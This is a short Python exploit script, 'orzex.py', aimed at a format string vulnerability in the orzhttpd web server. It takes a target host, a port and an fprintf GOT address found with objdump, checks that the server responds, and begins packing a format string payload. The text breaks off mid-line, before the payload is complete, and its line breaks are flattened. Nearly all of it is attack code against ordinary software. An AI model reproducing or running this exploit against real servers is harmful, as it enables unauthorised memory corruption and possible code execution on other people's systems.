#!/usr/bin/env python # orzex.py -- Patroklos Argyroudis, argp at domain census-labs.com # http://code.google.com/p/orzhttpd/source/detail?r=141 import os import sys import socket import struct import time import urllib GET = "GET " def main(argv): argc = len(argv) if argc != 4: print "usage: %s
" % (argv[0]) print "[*] find address with objdump -R orzhttpd | grep fprintf" sys.exit(0) host = argv[1] port = int(argv[2]) addr = int(argv[3], 16) print "[*] target: %s:%d:%s" % (host, port, argv[3]) try: sd = urllib.urlopen("http://%s:%d" % (host, port)) sd.close() except IOError, errmsg: print "[*] error: %s" % (errmsg) sys.exit(1) time.sleep(1) fmtstr = struct.pack('